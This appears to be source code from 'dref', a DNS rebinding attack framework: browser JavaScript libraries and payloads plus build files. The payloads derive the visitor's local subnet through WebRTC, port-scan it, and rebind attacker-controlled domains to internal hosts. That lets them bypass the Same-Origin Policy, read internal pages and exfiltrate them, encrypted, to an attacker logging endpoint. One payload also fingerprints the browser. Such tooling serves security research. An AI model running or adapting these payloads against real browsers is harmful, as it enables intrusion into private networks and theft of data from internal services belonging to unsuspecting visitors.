/dref/scripts/src/libs/network.js:
--------------------------------------------------------------------------------
1 | import IPCIDR from 'ip-cidr'
2 |
3 | export function postJSON (url, data, { headers, successCb, failCb, timeoutCb } = {}) {
4 | const xhr = new XMLHttpRequest()
5 |
6 | xhr.onreadystatechange = function () {
7 | if (xhr.readyState === 4 && xhr.status >= 200 && xhr.status < 400) {
8 | typeof successCb === 'function' && successCb()
9 | } else {
10 | typeof failCb === 'function' && failCb()
11 | }
12 | }
13 |
14 | xhr.ontimeout = function () {
15 | timeoutCb()
16 | }
17 |
18 | xhr.open('POST', url, true)
19 | xhr.setRequestHeader('Content-type', 'application/json; charset=utf-8')
20 |
21 | // set headers
22 | for (let header in headers) {
23 | xhr.setRequestHeader(header, headers[header])
24 | }
25 |
26 | xhr.send(JSON.stringify(data))
27 | }
28 |
29 | export function get (url, { headers, successCb, failCb, timeoutCb } = {}) {
30 | const xhr = new XMLHttpRequest()
31 |
32 | xhr.onreadystatechange = function () {
33 | if (xhr.readyState === 4) {
34 | if (xhr.status >= 200 && xhr.status < 400 && typeof successCb === 'function') {
35 | successCb(xhr.status, xhr.getAllResponseHeaders(), xhr.response)
36 | } else if (typeof failCb === 'function') {
37 | failCb(xhr.status, xhr.getAllResponseHeaders(), xhr.response)
38 | }
39 | }
40 | }
41 |
42 | xhr.ontimeout = function () {
43 | timeoutCb()
44 | }
45 |
46 | xhr.open('GET', url, true)
47 | xhr.timeout = 5000
48 | xhr.setRequestHeader('Pragma', 'no-cache')
49 | xhr.setRequestHeader('Cache-Control', 'no-cache')
50 |
51 | // set headers
52 | for (let header in headers) {
53 | xhr.setRequestHeader(header, headers[header])
54 | }
55 |
56 | xhr.send()
57 | }
58 |
59 | export function post (url, data, { headers, successCb, failCb, timeoutCb } = {}) {
60 | const xhr = new XMLHttpRequest()
61 |
62 | xhr.onreadystatechange = function () {
63 | if (xhr.readyState === 4) {
64 | if (xhr.status >= 200 && xhr.status < 400 && typeof successCb === 'function') {
65 | successCb(xhr.status, xhr.getAllResponseHeaders, xhr.response)
66 | } else if (typeof failCb === 'function') {
67 | failCb(xhr.status, xhr.getAllResponseHeaders(), xhr.response)
68 | }
69 | }
70 | }
71 |
72 | xhr.ontimeout = function () {
73 | timeoutCb()
74 | }
75 |
76 | xhr.open('POST', url, true)
77 | xhr.setRequestHeader('Pragma', 'no-cache')
78 | xhr.setRequestHeader('Cache-Control', 'no-cache')
79 | xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
80 |
81 | // set headers
82 | for (let header in headers) {
83 | xhr.setRequestHeader(header, headers[header])
84 | }
85 |
86 | xhr.send(data)
87 | }
88 |
89 | // https://github.com/muaz-khan/DetectRTC/blob/master/DetectRTC.js
90 | export function webRTCSupported () {
91 | var supported = false;
92 | ['RTCPeerConnection', 'webkitRTCPeerConnection', 'mozRTCPeerConnection', 'RTCIceGatherer'].forEach(function (item) {
93 | if (supported) {
94 | return
95 | }
96 |
97 | if (item in window) {
98 | supported = true
99 | }
100 | })
101 |
102 | return supported
103 | }
104 |
105 | // https://stackoverflow.com/questions/32837471/how-to-get-local-internal-ip-with-javascript
106 | export function getLocalIP () {
107 | return new Promise(function (resolve, reject) {
108 | if (!webRTCSupported()) {
109 | resolve('')
110 | }
111 |
112 | window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection
113 | var pc = new RTCPeerConnection({ iceServers: [] })
114 | var noop = function () {}
115 | var localIP
116 |
117 | pc.createDataChannel('')
118 | pc.createOffer(pc.setLocalDescription.bind(pc), noop)
119 | pc.onicecandidate = function (ice) {
120 | if (!ice || !ice.candidate || !ice.candidate.candidate) return
121 | localIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1]
122 | resolve(localIP)
123 | }
124 | })
125 | }
126 |
127 | export async function getLocalSubnet (suffix = 24) {
128 | const localIp = await getLocalIP()
129 | if (localIp === '') return []
130 |
131 | const cidr = new IPCIDR(localIp + '/' + suffix)
132 | return cidr.toArray()
133 | }
134 |
--------------------------------------------------------------------------------
/dref/scripts/src/libs/session.js:
--------------------------------------------------------------------------------
1 | import * as crypto from './crypto'
2 | import * as network from './network'
3 |
4 | export default class Session {
5 | constructor () {
6 | this.sessionId = crypto.randomHex(24)
7 | this.sessionKey = crypto.xor(this.sessionId, crypto.staticKey)
8 | this.sessionPort = parseInt(window.location.port) || 80
9 |
10 | // Cross-origin logging endpoint (Access-Control-Allow-Origin: *)
11 | this.logURL = 'http://' + window.env.address + ':' + window.env.logPort + '/logs'
12 | // Same-origin endpoint for regular API requests
13 | this.baseURL = 'http://' + window.location.host
14 | }
15 |
16 | log (data) {
17 | const logData = {
18 | data: data,
19 | meta: {
20 | env: window.env,
21 | args: window.args
22 | }
23 | }
24 |
25 | const payload = {}
26 | payload.s = this.sessionId
27 | payload.d = btoa(crypto.rc4(this.sessionKey, JSON.stringify(logData)))
28 |
29 | network.postJSON(this.logURL, payload)
30 | }
31 |
32 | createRebindFrame (address, port, { target, script, args, fastRebind } = {}) {
33 | target = target || crypto.randomHex(24)
34 | fastRebind = fastRebind || window.env.fastRebind
35 | args = args || {}
36 | args._rebind = true
37 |
38 | // create the new target
39 | network.postJSON(this.baseURL + '/targets', {
40 | target: target,
41 | script: script || window.env.script,
42 | fastRebind: fastRebind,
43 | args: args
44 | }, {
45 | successCb: () => {
46 | network.postJSON(this.baseURL + '/arecords', {
47 | domain: target + '.' + window.env.domain,
48 | address: address,
49 | port: port,
50 | dual: fastRebind
51 | }, {
52 | successCb: () => {
53 | // create the iframe
54 | const ifrm = document.createElement('iframe')
55 | ifrm.setAttribute('src', 'http://' + target + '.' + window.env.domain + ':' + port)
56 | ifrm.style.display = 'none'
57 | document.body.appendChild(ifrm)
58 | }
59 | })
60 | }
61 | })
62 | }
63 |
64 | triggerRebind () {
65 | return new Promise(async (resolve, reject) => {
66 | // update the arecord
67 | network.postJSON(this.baseURL + '/arecords', {
68 | domain: window.env.target + '.' + window.env.domain,
69 | rebind: true
70 | }, {
71 | successCb: () => {
72 | // block this port if we're doing fastRebind
73 | if (window.env.fastRebind) {
74 | network.postJSON(this.baseURL + '/iptables', {
75 | port: this.sessionPort,
76 | block: true
77 | })
78 | } else {
79 | // flush Chrome's DNS cache - a bit less fast rebinding without the
80 | // fastRebind mode overhead
81 | // for (let i = 0; i < 1024; i++) {
82 | // let url = 'http://' + i + '.' + window.env.domain
83 | // fetch(url, { mode: 'no-cors' })
84 | // }
85 | }
86 | }
87 | })
88 |
89 | // wait for rebinding to occur
90 | const wait = (time) => {
91 | network.get(this.baseURL + '/checkpoint', {
92 | successCb: function () {
93 | // success callback
94 | // if we're still getting a 200 OK on /checkpoint it means we're
95 | // doing slow-rebind and we've not yet rebinded
96 | window.setTimeout(() => {
97 | wait(time)
98 | }, time)
99 | },
100 | failCb: function (code) {
101 | // fail callback
102 |
103 | // if we get an error code of 0 it means we're using fast-rebind
104 | // and we've not yet rebinded
105 | if (code === 0) {
106 | window.setTimeout(() => {
107 | wait(time)
108 | }, time)
109 | } else {
110 | // if we're getting another error it means we've rebinded
111 | // (ie: the test path /checkpoint doesn't exist on the host)
112 | resolve()
113 | }
114 | },
115 | timeoutCb: function () {
116 | // timeout callback
117 | }
118 | })
119 | }
120 | wait(1000)
121 | })
122 | }
123 |
124 | createFastRebindFrame (address, port, params = {}) {
125 | // keep track of the timeout IDs for the last rebind attempt
126 | // we use this to stop calling attemptRebind once we have a successful rebind
127 | let attemptIds = []
128 |
129 | // receiving a message from child frame means rebinding was successful
130 | window.addEventListener('message', function () {
131 | for (let id of attemptIds) {
132 | clearTimeout(id)
133 | }
134 | }, false)
135 |
136 | // keep trying fast DNS rebinding until it works
137 | const attemptRebind = (time) => {
138 | this.createRebindFrame(address, port, params)
139 |
140 | attemptIds.push(window.setTimeout(() => {
141 | attemptRebind(time)
142 | }, time))
143 | }
144 |
145 | attemptRebind(1000)
146 | }
147 |
148 | triggerFastRebind () {
149 | window.parent.postMessage('ack', '*')
150 |
151 | return this.triggerRebind()
152 | }
153 |
154 | done () {
155 | if (window.env.fastRebind) {
156 | network.postJSON('http://' + window.env.address + ':' + window.env.logPort + '/iptables', {
157 | port: this.sessionPort,
158 | block: false
159 | })
160 | }
161 | }
162 | }
163 |
--------------------------------------------------------------------------------
/dref/scripts/src/payloads/fast-rebind.js:
--------------------------------------------------------------------------------
1 | // This is an implementation of the `fetch-page.js` payload using the
2 | // framework's fastRebind capability.
3 | // the fastRebind mode serves two A records (the original remote and the rebind
4 | // target) and uses iptables rules to block the original remote after the
5 | // payload has been loaded. On Chromium this will trigger a faster rebind,
6 | // bypassing the need to wait for the DNS cache timeout.
7 |
8 | import * as network from '../libs/network'
9 | import Session from '../libs/session'
10 |
11 | const session = new Session()
12 |
13 | async function mainFrame () {
14 | session.createFastRebindFrame(window.args.host, window.args.port, {
15 | args: {
16 | path: window.args.path
17 | }
18 | })
19 | }
20 |
21 | function rebindFrame () {
22 | session.triggerFastRebind().then(() => {
23 | network.get(session.baseURL + window.args.path, {
24 | successCb: (code, headers, body) => {
25 | // success callback
26 | session.log({ code: code, headers: headers, body: body })
27 | session.done()
28 | },
29 | failCb: (code, headers, body) => {
30 | // fail callback
31 | // (we still want to exfiltrate the response even if it's i.e. a 404)
32 | session.log({ code: code, headers: headers, body: body })
33 | session.done()
34 | }
35 | })
36 | })
37 | }
38 |
39 | if (window.args && window.args._rebind) rebindFrame()
40 | else mainFrame()
41 |
--------------------------------------------------------------------------------
/dref/scripts/src/payloads/fetch-page.js:
--------------------------------------------------------------------------------
1 | import * as network from '../libs/network'
2 | import Session from '../libs/session'
3 |
4 | const session = new Session()
5 |
6 | async function mainFrame () {
7 | session.createRebindFrame(window.args.host, window.args.port, {
8 | // the rebindFrame function is run in another iFrame
9 | // behind the scenes, the script is re-delivered using a new "target" subdomain (cf. api)
10 | // we can pass args to that new iFrame, and we need to pass the path in this case
11 | args: {
12 | path: window.args.path
13 | }
14 | })
15 | }
16 |
17 | function rebindFrame () {
18 | session.triggerRebind().then(() => {
19 | network.get(session.baseURL + window.args.path, {
20 | successCb: (code, headers, body) => {
21 | // success callback
22 | session.log({ code: code, headers: headers, body: body })
23 | },
24 | failCb: (code, headers, body) => {
25 | // fail callback
26 | // (we still want to exfiltrate the response even if it's i.e. a 404)
27 | session.log({ code: code, headers: headers, body: body })
28 | }
29 | })
30 | })
31 | }
32 |
33 | if (window.args && window.args._rebind) rebindFrame()
34 | else mainFrame()
35 |
--------------------------------------------------------------------------------
/dref/scripts/src/payloads/port-scan.js:
--------------------------------------------------------------------------------
1 | import NetMap from 'netmap.js'
2 | import * as network from '../libs/network'
3 | import Session from '../libs/session'
4 |
5 | const session = new Session()
6 | const netmap = new NetMap()
7 |
8 | async function main () {
9 | const localSubnet = await network.getLocalSubnet(24)
10 |
11 | netmap.tcpScan(localSubnet, window.args.ports).then(results => {
12 | session.log(results)
13 | })
14 | }
15 |
16 | main()
17 |
--------------------------------------------------------------------------------
/dref/scripts/src/payloads/sysinfo.js:
--------------------------------------------------------------------------------
1 | import Session from '../libs/session'
2 | import { webRTCSupported, getLocalIP } from '../libs/network'
3 |
4 | async function main () {
5 | const session = new Session()
6 | const date = new Date()
7 | const data = {}
8 |
9 | data.browser = {}
10 | data.browser.navigator = {}
11 | data.browser.navigator.userAgent = navigator.userAgent
12 | data.browser.navigator.language = navigator.language
13 | data.browser.navigator.appName = navigator.appName
14 | data.browser.navigator.appCodeName = navigator.appCodeName
15 | data.browser.navigator.appVersion = navigator.appVersion
16 | data.browser.navigator.product = navigator.product
17 | data.browser.navigator.platform = navigator.platform
18 | data.browser.navigator.oscpu = navigator.oscpu
19 | data.browser.navigator.hardwareConcurrency = navigator.hardwareConcurrency
20 |
21 | data.browser.window = {}
22 | data.browser.window.inner = {}
23 | data.browser.window.inner.height = window.innerHeight
24 | data.browser.window.inner.width = window.innerWidth
25 |
26 | data.browser.plugins = []
27 | for (let i = 0; i < navigator.plugins.length; i++) {
28 | data.browser.plugins.push(navigator.plugins[i].name)
29 | }
30 |
31 | data.browser.components = {}
32 | data.browser.components.webAssembly = (typeof window.WebAssembly !== 'undefined')
33 | data.browser.components.webSocket = (typeof window.WebSocket !== 'undefined')
34 | data.browser.components.webRTC = webRTCSupported()
35 |
36 | data.system = {}
37 | data.system.time = date.toString()
38 |
39 | data.system.screen = {}
40 | data.system.screen.height = screen.height
41 | data.system.screen.width = screen.width
42 |
43 | data.system.network = {}
44 | data.system.network.localIP = await getLocalIP()
45 |
46 | session.log(data)
47 | }
48 |
49 | main()
50 |
--------------------------------------------------------------------------------
/dref/scripts/src/payloads/web-discover.js:
--------------------------------------------------------------------------------
1 | import NetMap from 'netmap.js'
2 | import * as network from '../libs/network'
3 | import Session from '../libs/session'
4 |
5 | const session = new Session()
6 |
7 | // mainFrame() runs first
8 | async function mainFrame () {
9 | const netmap = new NetMap()
10 | // Use some tricks to derive the browser's local /24 subnet
11 | const localSubnet = await network.getLocalSubnet(24)
12 |
13 | // Use some more tricks to scan a couple of ports across the subnet
14 | netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
15 | // Launch the rebind attack on live targets
16 | for (let h of results.hosts) {
17 | for (let p of h.ports) {
18 | if (p.open) session.createRebindFrame(h.host, p.port)
19 | }
20 | }
21 | })
22 | }
23 |
24 | // rebindFrame() will have target ip:port as origin
25 | function rebindFrame () {
26 | // After this we'll have bypassed the Same-Origin Policy
27 | session.triggerRebind().then(() => {
28 | // We can now read the response across origin...
29 | network.get(session.baseURL, {
30 | successCb: (code, headers, body) => {
31 | // ... and exfiltrate it
32 | session.log({ code: code, headers: headers, body: body })
33 | }
34 | })
35 | })
36 | }
37 |
38 | if (window.args && window.args._rebind) rebindFrame()
39 | else mainFrame()
40 |
--------------------------------------------------------------------------------
/dref/scripts/webpack.config.js:
--------------------------------------------------------------------------------
1 | const path = require('path')
2 | // const JavaScriptObfuscator = require('webpack-obfuscator')
3 | const WebpackWatchedGlobEntries = require('webpack-watched-glob-entries-plugin')
4 |
5 | const HOST = process.env.HOST
6 | const PORT = process.env.PORT && Number(process.env.PORT)
7 |
8 | module.exports = {
9 | entry: WebpackWatchedGlobEntries.getEntries(
10 | [path.resolve(__dirname, 'src/payloads/*.js')]
11 | ),
12 | output: {
13 | filename: '[name].js',
14 | path: path.resolve(__dirname, 'dist'),
15 | publicPath: '/scripts/'
16 | },
17 | devServer: {
18 | host: HOST,
19 | port: PORT,
20 | contentBase: path.join(__dirname, 'dist'),
21 | hot: false,
22 | inline: false,
23 | disableHostCheck: true
24 | },
25 | performance: {
26 | hints: false
27 | },
28 | plugins: [
29 | // new JavaScriptObfuscator(),
30 | new WebpackWatchedGlobEntries()
31 | ],
32 | module: {
33 | rules: [
34 | {
35 | test: /\.js$/,
36 | exclude: /node_modules/,
37 | loader: 'eslint-loader',
38 | options: {
39 | // eslint options (if necessary)
40 | }
41 | }
42 | ]
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/greenkeeper.json:
--------------------------------------------------------------------------------
1 | {
2 | "groups": {
3 | "default": {
4 | "packages": [
5 | "dref/api/package.json",
6 | "dref/dns/package.json",
7 | "dref/scripts/package.json"
8 | ]
9 | }
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/iptables-node-alpine.Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:9.11.1-alpine
2 | RUN apk update
3 | RUN apk add iptables
4 |
--------------------------------------------------------------------------------